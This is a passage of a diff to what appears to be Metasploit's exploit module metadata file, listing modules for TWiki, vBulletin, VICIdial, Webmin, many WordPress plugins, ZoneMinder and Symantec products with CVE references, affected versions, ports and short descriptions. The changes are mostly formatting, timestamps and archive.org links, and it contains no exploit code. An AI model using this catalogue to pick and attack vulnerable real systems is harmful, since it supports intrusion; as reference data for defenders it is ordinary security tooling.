false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_unix/webapp/twiki_history": { "name": "TWiki History TWikiUsers rev Parameter Command Execution", "fullname": "exploit/unix/webapp/twiki_history", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2005-09-14", "type": "exploit", @@ -136157,7 +121578,7 @@ "CVE-2005-2877", "OSVDB-19403", "BID-14834", - "URL-http://twiki.org/cgi-bin/view/Codev/SecurityAlertExecuteCommandsWithRev" + "URL-http://web.archive.org/web/20230609051423/https://twiki.org/cgi-bin/view/Codev/SecurityAlertExecuteCommandsWithRev" ], "platform": "Unix", "arch": "cmd", @@ -136180,24 +121601,21 @@ "targets": [ "Automatic" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-02-07 12:36:11 +0000", "path": "/modules/exploits/unix/webapp/twiki_history.rb", "is_install_path": true, "ref_name": "unix/webapp/twiki_history", "check": true, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_unix/webapp/twiki_maketext": { "name": "TWiki MAKETEXT Remote Command Execution", "fullname": "exploit/unix/webapp/twiki_maketext", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2012-12-15", "type": "exploit", @@ -136240,17 +121658,14 @@ "check": true, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_unix/webapp/twiki_search": { "name": "TWiki Search Function Arbitrary Command Execution", "fullname": "exploit/unix/webapp/twiki_search", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2004-10-01", "type": "exploit", @@ -136262,7 +121677,7 @@ "CVE-2004-1037", "OSVDB-11714", "BID-11674", - "URL-http://twiki.org/cgi-bin/view/Codev/SecurityAlertExecuteCommandsWithSearch" + "URL-http://web.archive.org/web/20221006175642/https://twiki.org/cgi-bin/view/Codev/SecurityAlertExecuteCommandsWithSearch" ], "platform": "Unix", "arch": "cmd", @@ -136285,24 +121700,21 @@ "targets": [ "Automatic" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-02-07 12:36:11 +0000", "path": "/modules/exploits/unix/webapp/twiki_search.rb", "is_install_path": true, "ref_name": "unix/webapp/twiki_search", "check": true, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_unix/webapp/vbulletin_vote_sqli_exec": { "name": "vBulletin index.php/ajax/api/reputation/vote nodeid Parameter SQL Injection", "fullname": "exploit/unix/webapp/vbulletin_vote_sqli_exec", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2013-03-25", "type": "exploit", @@ -136346,17 +121758,14 @@ "check": true, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_unix/webapp/vicidial_agent_authenticated_rce": { "name": "VICIdial Authenticated Remote Code Execution", "fullname": "exploit/unix/webapp/vicidial_agent_authenticated_rce", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2024-09-10", "type": "exploit", @@ -136414,9 +121823,7 @@ "exploit_unix/webapp/vicidial_manager_send_cmd_exec": { "name": "VICIdial Manager Send OS Command Injection", "fullname": "exploit/unix/webapp/vicidial_manager_send_cmd_exec", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2013-10-23", "type": "exploit", @@ -136465,17 +121872,14 @@ "check": true, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_unix/webapp/vicidial_user_authorization_unauth_cmd_exec": { "name": "VICIdial user_authorization Unauthenticated Command Execution", "fullname": "exploit/unix/webapp/vicidial_user_authorization_unauth_cmd_exec", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2017-05-26", "type": "exploit", @@ -136514,17 +121918,14 @@ "check": true, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_unix/webapp/webmin_show_cgi_exec": { "name": "Webmin /file/show.cgi Remote Command Execution", "fullname": "exploit/unix/webapp/webmin_show_cgi_exec", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2012-09-06", "type": "exploit", @@ -136568,17 +121969,14 @@ "check": true, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_unix/webapp/webmin_upload_exec": { "name": "Webmin Upload Authenticated RCE", "fullname": "exploit/unix/webapp/webmin_upload_exec", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2019-01-17", "type": "exploit", @@ -136620,17 +122018,14 @@ "check": true, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": true }, "exploit_unix/webapp/webtester_exec": { "name": "WebTester 5.x Command Execution", "fullname": "exploit/unix/webapp/webtester_exec", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2013-10-17", "type": "exploit", @@ -136670,17 +122065,14 @@ "check": true, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_unix/webapp/wp_admin_shell_upload": { "name": "WordPress Admin Shell Upload", "fullname": "exploit/unix/webapp/wp_admin_shell_upload", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2015-02-21", "type": "exploit", @@ -136688,9 +122080,7 @@ "rastating" ], "description": "This module will generate a plugin, pack the payload into it\n and upload it to a server running WordPress provided valid\n admin credentials are used.", - "references": [ - - ], + "references": [], "platform": "PHP", "arch": "php", "rport": 80, @@ -136719,17 +122109,14 @@ "check": true, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": true }, "exploit_unix/webapp/wp_advanced_custom_fields_exec": { "name": "WordPress Plugin Advanced Custom Fields Remote File Inclusion", "fullname": "exploit/unix/webapp/wp_advanced_custom_fields_exec", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2012-11-14", "type": "exploit", @@ -136770,17 +122157,14 @@ "check": true, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_unix/webapp/wp_ajax_load_more_file_upload": { "name": "Wordpress Ajax Load More PHP Upload Vulnerability", "fullname": "exploit/unix/webapp/wp_ajax_load_more_file_upload", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2015-10-10", "type": "exploit", @@ -136820,17 +122204,14 @@ "check": true, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": true }, "exploit_unix/webapp/wp_asset_manager_upload_exec": { "name": "WordPress Asset-Manager PHP File Upload Vulnerability", "fullname": "exploit/unix/webapp/wp_asset_manager_upload_exec", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2012-05-26", "type": "exploit", @@ -136843,7 +122224,7 @@ "OSVDB-82653", "BID-53809", "EDB-18993", - "URL-http://www.opensyscom.fr/Actualites/wordpress-plugins-asset-manager-shell-upload-vulnerability.html", + "URL-http://web.archive.org/web/20150106144832/http://www.opensyscom.fr:80/Actualites/wordpress-plugins-asset-manager-shell-upload-vulnerability.html", "WPVDB-6106" ], "platform": "PHP", @@ -136867,24 +122248,21 @@ "targets": [ "asset-manager <= 2.0" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-02-07 12:36:11 +0000", "path": "/modules/exploits/unix/webapp/wp_asset_manager_upload_exec.rb", "is_install_path": true, "ref_name": "unix/webapp/wp_asset_manager_upload_exec", "check": true, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": true }, "exploit_unix/webapp/wp_creativecontactform_file_upload": { "name": "Wordpress Creative Contact Form Upload Vulnerability", "fullname": "exploit/unix/webapp/wp_creativecontactform_file_upload", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2014-10-22", "type": "exploit", @@ -136926,17 +122304,14 @@ "check": true, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": true }, "exploit_unix/webapp/wp_downloadmanager_upload": { "name": "Wordpress Download Manager (download-manager) Unauthenticated File Upload", "fullname": "exploit/unix/webapp/wp_downloadmanager_upload", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2014-12-03", "type": "exploit", @@ -136977,17 +122352,14 @@ "check": true, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": true }, "exploit_unix/webapp/wp_easycart_unrestricted_file_upload": { "name": "WordPress WP EasyCart Unrestricted File Upload", "fullname": "exploit/unix/webapp/wp_easycart_unrestricted_file_upload", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2015-01-08", "type": "exploit", @@ -137029,17 +122401,14 @@ "check": false, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": true }, "exploit_unix/webapp/wp_foxypress_upload": { "name": "WordPress Plugin Foxypress uploadify.php Arbitrary Code Execution", "fullname": "exploit/unix/webapp/wp_foxypress_upload", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2012-06-05", "type": "exploit", @@ -137081,17 +122450,14 @@ "check": true, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": true }, "exploit_unix/webapp/wp_frontend_editor_file_upload": { "name": "Wordpress Front-end Editor File Upload", "fullname": "exploit/unix/webapp/wp_frontend_editor_file_upload", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2012-07-04", "type": "exploit", @@ -137103,7 +122469,7 @@ "references": [ "OSVDB-83637", "WPVDB-7569", - "URL-http://www.opensyscom.fr/Actualites/wordpress-plugins-front-end-editor-arbitrary-file-upload-vulnerability.html" + "URL-http://web.archive.org/web/20170203203305/http://www.opensyscom.fr:80/Actualites/wordpress-plugins-front-end-editor-arbitrary-file-upload-vulnerability.html" ], "platform": "PHP", "arch": "php", @@ -137126,24 +122492,21 @@ "targets": [ "Front-End Editor 2.2.1" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-02-07 12:36:11 +0000", "path": "/modules/exploits/unix/webapp/wp_frontend_editor_file_upload.rb", "is_install_path": true, "ref_name": "unix/webapp/wp_frontend_editor_file_upload", "check": true, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": true }, "exploit_unix/webapp/wp_google_document_embedder_exec": { "name": "WordPress Plugin Google Document Embedder Arbitrary File Disclosure", "fullname": "exploit/unix/webapp/wp_google_document_embedder_exec", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2013-01-03", "type": "exploit", @@ -137185,17 +122548,14 @@ "check": true, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_unix/webapp/wp_holding_pattern_file_upload": { "name": "WordPress Holding Pattern Theme Arbitrary File Upload", "fullname": "exploit/unix/webapp/wp_holding_pattern_file_upload", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2015-02-11", "type": "exploit", @@ -137237,17 +122597,14 @@ "check": true, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": true }, "exploit_unix/webapp/wp_inboundio_marketing_file_upload": { "name": "Wordpress InBoundio Marketing PHP Upload Vulnerability", "fullname": "exploit/unix/webapp/wp_inboundio_marketing_file_upload", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2015-03-24", "type": "exploit", @@ -137289,17 +122646,14 @@ "check": true, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": true }, "exploit_unix/webapp/wp_infinitewp_auth_bypass": { "name": "WordPress InfiniteWP Client Authentication Bypass", "fullname": "exploit/unix/webapp/wp_infinitewp_auth_bypass", - "aliases": [ - - ], + "aliases": [], "rank": 0, "disclosure_date": "2020-01-14", "type": "exploit", @@ -137312,7 +122666,7 @@ "WPVDB-10011", "URL-https://www.webarxsecurity.com/vulnerability-infinitewp-client-wp-time-capsule/", "URL-https://www.wordfence.com/blog/2020/01/critical-authentication-bypass-vulnerability-in-infinitewp-client-plugin/", - "URL-https://blog.sucuri.net/2020/01/authentication-bypass-vulnerability-in-infinitewp-client.html" + "URL-http://web.archive.org/web/20250117161327/https://blog.sucuri.net/2020/01/authentication-bypass-vulnerability-in-infinitewp-client.html" ], "platform": "PHP", "arch": "php", @@ -137335,7 +122689,7 @@ "targets": [ "InfiniteWP Client < 1.9.4.5" ], - "mod_time": "2021-02-17 12:33:59 +0000", + "mod_time": "2025-02-28 09:35:28 +0000", "path": "/modules/exploits/unix/webapp/wp_infinitewp_auth_bypass.rb", "is_install_path": true, "ref_name": "unix/webapp/wp_infinitewp_auth_bypass", @@ -137360,9 +122714,7 @@ "exploit_unix/webapp/wp_infusionsoft_upload": { "name": "Wordpress InfusionSoft Upload Vulnerability", "fullname": "exploit/unix/webapp/wp_infusionsoft_upload", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2014-09-25", "type": "exploit", @@ -137404,17 +122756,14 @@ "check": true, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": true }, "exploit_unix/webapp/wp_lastpost_exec": { "name": "WordPress cache_lastpostdate Arbitrary Code Execution", "fullname": "exploit/unix/webapp/wp_lastpost_exec", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2005-08-09", "type": "exploit", @@ -137457,17 +122806,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_unix/webapp/wp_mobile_detector_upload_execute": { "name": "WordPress WP Mobile Detector 3.5 Shell Upload", "fullname": "exploit/unix/webapp/wp_mobile_detector_upload_execute", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2016-05-31", "type": "exploit", @@ -137510,17 +122856,14 @@ "check": true, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": true }, "exploit_unix/webapp/wp_nmediawebsite_file_upload": { "name": "Wordpress N-Media Website Contact Form Upload Vulnerability", "fullname": "exploit/unix/webapp/wp_nmediawebsite_file_upload", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2015-04-12", "type": "exploit", @@ -137561,17 +122904,14 @@ "check": true, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": true }, "exploit_unix/webapp/wp_optimizepress_upload": { "name": "WordPress OptimizePress Theme File Upload Vulnerability", "fullname": "exploit/unix/webapp/wp_optimizepress_upload", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2013-11-29", "type": "exploit", @@ -137613,17 +122953,14 @@ "check": true, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": true }, "exploit_unix/webapp/wp_photo_gallery_unrestricted_file_upload": { "name": "WordPress Photo Gallery Unrestricted File Upload", "fullname": "exploit/unix/webapp/wp_photo_gallery_unrestricted_file_upload", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2014-11-11", "type": "exploit", @@ -137666,17 +123003,14 @@ "check": true, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": true }, "exploit_unix/webapp/wp_phpmailer_host_header": { "name": "WordPress PHPMailer Host Header Command Injection", "fullname": "exploit/unix/webapp/wp_phpmailer_host_header", - "aliases": [ - - ], + "aliases": [], "rank": 200, "disclosure_date": "2017-05-03", "type": "exploit", @@ -137719,17 +123053,14 @@ "check": true, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_unix/webapp/wp_pie_register_bypass_rce": { "name": "WordPress Plugin Pie Register Auth Bypass to RCE", "fullname": "exploit/unix/webapp/wp_pie_register_bypass_rce", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2021-10-08", "type": "exploit", @@ -137787,9 +123118,7 @@ "exploit_unix/webapp/wp_pixabay_images_upload": { "name": "WordPress Pixabay Images PHP Code Upload", "fullname": "exploit/unix/webapp/wp_pixabay_images_upload", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2015-01-19", "type": "exploit", @@ -137832,17 +123161,14 @@ "check": true, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": true }, "exploit_unix/webapp/wp_plainview_activity_monitor_rce": { "name": "Wordpress Plainview Activity Monitor RCE", "fullname": "exploit/unix/webapp/wp_plainview_activity_monitor_rce", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2018-08-26", "type": "exploit", @@ -137883,17 +123209,14 @@ "check": true, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_unix/webapp/wp_platform_exec": { "name": "WordPress Platform Theme File Upload Vulnerability", "fullname": "exploit/unix/webapp/wp_platform_exec", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2015-01-21", "type": "exploit", @@ -137934,17 +123257,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_unix/webapp/wp_property_upload_exec": { "name": "WordPress WP-Property PHP File Upload Vulnerability", "fullname": "exploit/unix/webapp/wp_property_upload_exec", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2012-03-26", "type": "exploit", @@ -137957,7 +123277,7 @@ "OSVDB-82656", "BID-53787", "EDB-18987", - "URL-http://www.opensyscom.fr/Actualites/wordpress-plugins-wp-property-shell-upload-vulnerability.html", + "URL-http://web.archive.org/web/20150103065650/http://www.opensyscom.fr:80/Actualites/wordpress-plugins-wp-property-shell-upload-vulnerability.html", "WPVDB-6225" ], "platform": "PHP", @@ -137981,24 +123301,21 @@ "targets": [ "wp-property <= 1.35.0" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-02-07 12:36:11 +0000", "path": "/modules/exploits/unix/webapp/wp_property_upload_exec.rb", "is_install_path": true, "ref_name": "unix/webapp/wp_property_upload_exec", "check": true, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": true }, "exploit_unix/webapp/wp_reflexgallery_file_upload": { "name": "Wordpress Reflex Gallery Upload Vulnerability", "fullname": "exploit/unix/webapp/wp_reflexgallery_file_upload", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2012-12-30", "type": "exploit", @@ -138041,17 +123358,14 @@ "check": true, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": true }, "exploit_unix/webapp/wp_revslider_upload_execute": { "name": "WordPress RevSlider File Upload and Execute Vulnerability", "fullname": "exploit/unix/webapp/wp_revslider_upload_execute", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2014-11-26", "type": "exploit", @@ -138095,17 +123409,14 @@ "check": true, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": true }, "exploit_unix/webapp/wp_slideshowgallery_upload": { "name": "Wordpress SlideShow Gallery Authenticated File Upload", "fullname": "exploit/unix/webapp/wp_slideshowgallery_upload", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2014-08-28", "type": "exploit", @@ -138147,17 +123458,14 @@ "check": true, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": true }, "exploit_unix/webapp/wp_symposium_shell_upload": { "name": "WordPress WP Symposium 14.11 Shell Upload", "fullname": "exploit/unix/webapp/wp_symposium_shell_upload", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2014-12-11", "type": "exploit", @@ -138198,17 +123506,14 @@ "check": true, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": true }, "exploit_unix/webapp/wp_total_cache_exec": { "name": "WordPress W3 Total Cache PHP Code Execution", "fullname": "exploit/unix/webapp/wp_total_cache_exec", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2013-04-17", "type": "exploit", @@ -138255,17 +123560,14 @@ "check": true, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_unix/webapp/wp_worktheflow_upload": { "name": "Wordpress Work The Flow Upload Vulnerability", "fullname": "exploit/unix/webapp/wp_worktheflow_upload", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2015-03-14", "type": "exploit", @@ -138307,17 +123609,14 @@ "check": true, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": true }, "exploit_unix/webapp/wp_wpdiscuz_unauthenticated_file_upload": { "name": "WordPress wpDiscuz Unauthenticated File Upload Vulnerability", "fullname": "exploit/unix/webapp/wp_wpdiscuz_unauthenticated_file_upload", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2020-02-21", "type": "exploit", @@ -138378,9 +123677,7 @@ "exploit_unix/webapp/wp_wpshop_ecommerce_file_upload": { "name": "WordPress WPshop eCommerce Arbitrary File Upload Vulnerability", "fullname": "exploit/unix/webapp/wp_wpshop_ecommerce_file_upload", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2015-03-09", "type": "exploit", @@ -138421,17 +123718,14 @@ "check": true, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": true }, "exploit_unix/webapp/wp_wptouch_file_upload": { "name": "WordPress WPTouch Authenticated File Upload", "fullname": "exploit/unix/webapp/wp_wptouch_file_upload", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2014-07-14", "type": "exploit", @@ -138472,17 +123766,14 @@ "check": true, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": true }, "exploit_unix/webapp/wp_wysija_newsletters_upload": { "name": "Wordpress MailPoet Newsletters (wysija-newsletters) Unauthenticated File Upload", "fullname": "exploit/unix/webapp/wp_wysija_newsletters_upload", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2014-07-01", "type": "exploit", @@ -138525,17 +123816,14 @@ "check": true, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": true }, "exploit_unix/webapp/xoda_file_upload": { "name": "XODA 0.4.5 Arbitrary PHP File Upload Vulnerability", "fullname": "exploit/unix/webapp/xoda_file_upload", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2012-08-21", "type": "exploit", @@ -138577,17 +123865,14 @@ "check": true, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": true }, "exploit_unix/webapp/xymon_useradm_cmd_exec": { "name": "Xymon useradm Command Execution", "fullname": "exploit/unix/webapp/xymon_useradm_cmd_exec", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2016-02-14", "type": "exploit", @@ -138599,7 +123884,7 @@ "references": [ "CVE-2016-2056", "PACKETSTORM-135758", - "URL-https://lists.xymon.com/pipermail/xymon/2016-February/042986.html", + "URL-http://web.archive.org/web/20240519104648/https://lists.xymon.com/pipermail/xymon/2016-February/042986.html", "URL-https://www.securityfocus.com/archive/1/537522/100/0/threaded", "URL-https://sourceforge.net/p/xymon/code/7892/", "URL-https://www.debian.org/security/2016/dsa-3495" @@ -138628,24 +123913,21 @@ "Solaris", "BSD" ], - "mod_time": "2021-02-17 12:33:59 +0000", + "mod_time": "2025-02-28 09:35:28 +0000", "path": "/modules/exploits/unix/webapp/xymon_useradm_cmd_exec.rb", "is_install_path": true, "ref_name": "unix/webapp/xymon_useradm_cmd_exec", "check": true, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_unix/webapp/zeroshell_exec": { "name": "ZeroShell Remote Code Execution", "fullname": "exploit/unix/webapp/zeroshell_exec", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2013-09-22", "type": "exploit", @@ -138686,17 +123968,14 @@ "check": true, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_unix/webapp/zimbra_lfi": { "name": "Zimbra Collaboration Server LFI", "fullname": "exploit/unix/webapp/zimbra_lfi", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2013-12-06", "type": "exploit", @@ -138740,17 +124019,14 @@ "check": true, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": true }, "exploit_unix/webapp/zoneminder_lang_exec": { "name": "ZoneMinder Language Settings Remote Code Execution", "fullname": "exploit/unix/webapp/zoneminder_lang_exec", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2022-04-27", "type": "exploit", @@ -138808,9 +124084,7 @@ "exploit_unix/webapp/zoneminder_packagecontrol_exec": { "name": "ZoneMinder Video Server packageControl Command Execution", "fullname": "exploit/unix/webapp/zoneminder_packagecontrol_exec", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2013-01-22", "type": "exploit", @@ -138822,7 +124096,7 @@ "CVE-2013-0232", "OSVDB-89529", "EDB-24310", - "URL-http://itsecuritysolutions.org/2013-01-22-ZoneMinder-Video-Server-arbitrary-command-execution-vulnerability/" + "URL-http://web.archive.org/web/20211207213730/https://itsecuritysolutions.org/2013-01-22-ZoneMinder-Video-Server-arbitrary-command-execution-vulnerability/" ], "platform": "Unix", "arch": "cmd", @@ -138845,24 +124119,21 @@ "targets": [ "Automatic Targeting" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-02-07 12:36:11 +0000", "path": "/modules/exploits/unix/webapp/zoneminder_packagecontrol_exec.rb", "is_install_path": true, "ref_name": "unix/webapp/zoneminder_packagecontrol_exec", "check": true, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_unix/webapp/zoneminder_snapshots": { "name": "ZoneMinder Snapshots Command Injection", "fullname": "exploit/unix/webapp/zoneminder_snapshots", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2023-02-24", "type": "exploit", @@ -138922,9 +124193,7 @@ "exploit_unix/webapp/zpanel_username_exec": { "name": "ZPanel 10.0.0.2 htpasswd Module Username Command Execution", "fullname": "exploit/unix/webapp/zpanel_username_exec", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2013-06-07", "type": "exploit", @@ -138966,17 +124235,14 @@ "check": true, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_unix/x11/x11_keyboard_exec": { "name": "X11 Keyboard Command Injection", "fullname": "exploit/unix/x11/x11_keyboard_exec", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2015-07-10", "type": "exploit", @@ -138984,18 +124250,12 @@ "xistence " ], "description": "This module exploits open X11 servers by connecting and registering a\n virtual keyboard. The virtual keyboard is used to open an xterm or gnome\n terminal and type and execute the specified payload.", - "references": [ - - ], + "references": [], "platform": "Unix", "arch": "cmd", "rport": 6000, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "xterm (Generic)", "gnome-terminal (Ubuntu)" @@ -139007,17 +124267,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/antivirus/ams_hndlrsvc": { "name": "Symantec System Center Alert Management System (hndlrsvc.exe) Arbitrary Command Execution", "fullname": "exploit/windows/antivirus/ams_hndlrsvc", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2010-07-26", "type": "exploit", @@ -139034,12 +124291,8 @@ "platform": "Windows", "arch": "", "rport": 38292, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Windows Universal" ], @@ -139050,17 +124303,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/antivirus/ams_xfr": { "name": "Symantec System Center Alert Management System (xfr.exe) Arbitrary Command Execution", "fullname": "exploit/windows/antivirus/ams_xfr", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2009-04-28", "type": "exploit", @@ -139078,12 +124328,8 @@ "platform": "Windows", "arch": "", "rport": 12174, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Windows Universal" ], @@ -139094,17 +124340,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/antivirus/symantec_endpoint_manager_rce": { "name": "Symantec Endpoint Protection Manager /servlet/ConsoleServlet Remote Command Execution", "fullname": "exploit/windows/antivirus/symantec_endpoint_manager_rce", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2014-02-24", "type": "exploit", @@ -139150,17 +124393,14 @@ "check": true, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/antivirus/symantec_iao": { "name": "Symantec Alert 